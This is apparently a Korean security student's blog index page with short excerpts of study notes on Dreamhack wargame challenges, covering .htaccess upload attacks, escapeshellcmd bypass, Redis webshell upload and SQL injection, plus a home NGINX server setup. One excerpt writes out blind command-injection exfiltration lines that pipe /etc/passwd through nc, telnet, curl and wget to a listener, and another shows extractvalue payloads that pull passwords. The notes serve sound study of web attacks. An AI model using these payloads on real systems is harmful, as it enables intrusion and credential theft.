전체 글 314

NGINX 이용해 내 PC를 웹서버로 만들기

https://cowhacker.tistory.com/87 // 공유기, 가상머신 포트포워딩 설정부터 ip 세팅까지 다 설명해줌 (감사합니다감사합니다) https://phsun102.tistory.com/47 // 리버스 프록싱 설정 기본 개념 외부 Network에서 내 공유기의 공인(외부) ip로 접근 ↓ ( 공유기 포트포워딩하여 내부 ip로 접근) 내 데스크탑 ipconfig /all ↓ ( Vmware에서 가상 게이트웨이 역할을 하는 VMnet8 [NAT] 를 이용해 포트포워딩, 우분투 가상머신 내부 ip로 접근 ) Ubuntu 22.04 Vmware 가상머신 ifconfig Nginx 웹 서버 동작중 ↓ ( 특정 포트에서 동작중인 nodejs application으로 리버스 프록시) pm2 (no..

web/기타 2023.07.30

[Dreamhack Wargame] Apache htaccess

파일 업로드 공격 1. .htaccess 이용 - 아파치 (Apache) 웹 서버는 일반적으로 /etc/apache2 또는 /etc/httpd 디렉터리에서 설정 파일을 관리 - AccessFileName 지시어를 사용해 설정 파일을 분산하여 관리할 수 있음, 기본적으로 .htaccess로 설정되어있음 root@ubuntu01:~# cat /etc/apache2/apache2.conf | grep ^AccessFileName AccessFileName .htaccess [root@centos01 ~]# cat /etc/httpd/conf/httpd.conf | grep ^AccessFileName AccessFileName .htaccess - .htaccess(hypertext access) 파일 = 분..

security/웹해킹 2023.07.17

[Dreamhack Wargame] Command Injection Advanced

PHP escapeshellcmd() 함수 우회 1. escapeshellcmd() 함수에 대해 - 메타 문자를 통한 커맨드 인젝션을 방지하기 위해 php에서 사용하는 함수 - 쉘 명령을 속이는 데 사용될 수 있는 문자열의 모든 문자를 이스케이프한다 - 다음 문자 앞에 백슬래시를 붙인다 : & # ; ` | * ? ~ ^ ( ) [ ] { } $ \ , \x0A \xFF ' " (따옴표는 쌍이 아닌 경우만) cf) escapeshellarg()는 전달한 입력값을 하나의 문자열로 만들어버림 2. 취약점 메타문자를 활용한 커맨드 인젝션은 불가능하다, 실행하려는 명령어의 옵션은 조작할 수 있다 php > var_dump(escapeshellcmd("a -h -d -e")); string(10) "a -..

security/웹해킹 2023.07.15

Linux Command Injection Technique 정리

실행 결과를 확인할 수 없는 Command Injection 환경에서의 공격방법 1. Network Outbound 네트워크 도구를 서버에 설치할 수 있거나 설치되어있을 때 - nc(netcat), telnet 이용 cat /etc/passwd | nc 127.0.0.1 8000 cat /etc/passwd | telnet 127.0.0.1 8000 * 파이프와 함께 명령어의 실행 결과를 네트워크로 전송할 수 있음 - curl / wget 이용 curl "http://127.0.0.1:8080/?$(ls -al|base64 -w0)" // GET 요청 curl http://127.0.0.1:8080/ -d "$(ls -al)" // POST 요청 wget http://127.0.0.1:8080 --met..

security/웹해킹 2023.07.15

[Dreamhack Wargame] phpMyRedis + .rdb 파일을 이용한 웹쉘 업로드

Redis 명령어 - 데이터 조작 명령어 GET GET key 데이터 조회 MGET MGET key [key ...] 여러 데이터를 조회 SET SET key value 새로운 데이터 추가 MSET MSET key value [key value ...] 여러 데이터를 추가 DEL DEL key [key ...] 데이터 삭제 EXISTS EXISTS key [key ...] 데이터 유무 확인 - php에서 데이터 조작 명령어 사용하는 방법 1. get(), set() 함수 이용 $redis = new Redis(); $redis->connect($REDIS_HOST); $key = "test_key"; $val = "test_val"; $redis->set($key, $val); # SET $key $va..

security/웹해킹 2023.07.15

[Dreamhack Wargame] NoSQL-CouchDB

CouchDB - HTTP 기반의 서버로 동작, HTTP 메소드를 사용해 요청을 받고 처리함 - users 데이터베이스에 (guest) 값 추가: body에 추가하고자 하는 data 넣어서 POST/PUT 요청 보냄 $ curl -X PUT http://{username}:{password}@localhost:5984/users/guest -d '{"upw":"guest"}' {"ok":true,"id":"guest","rev":"1-22a458e50cf189b17d50eeb295231896"} - users 데이터베이스의 값 조회: GET 요청 보냄 $ curl http://{username}:{password}@localhost:5984/users/guest {"_id":"guest","_rev":"..

security/웹해킹 2023.07.15

[Dreamhack Wargame] SQL Injection Bypass WAF 1, 2

시스템/DB 정보 획득 방법 (MySQL) - 데이터베이스 모습 확인 // 초기 DB = information_schema, mysql, performance_schema, sys // DB와 schema가 동일함 mysql> show databases; /* +--------------------+ | Database | +--------------------+ | information_schema | | DREAMHACK | # 이용자 정의 데이터베이스 | mysql | | performance_schema | | sys | +--------------------+ */ - 스키마, 테이블, 컬럼 정보 확인하기 mysql> select TABLE_SCHEMA from information_schema..

security/웹해킹 2023.07.15

[Dreamhack Wargame] Error Based SQL Injection

Error Based SQL Injection Technique - extractvalue() 함수 이용 // 디버그 모드가 활성화된 서버에 한해 오류 발생 시 원인 출력됨 // extractvalue 함수는 XML 데이터(1st param)에서 XPATH 식(2st param)을 통해 데이터 추출함 // 올바르지 않는 XPATH 식일 경우 에러 메시지와 함께 잘못된 XPATH 식을 출력해줌 SELECT extractvalue(1,concat(':',version())); -- ERROR 1105 (HY000): XPATH syntax error: ':5.7.29-0ubuntu0.16.04.1-log' SELECT extractvalue(1,concat(':',(SELECT upw FROM users W..

security/웹해킹 2023.07.14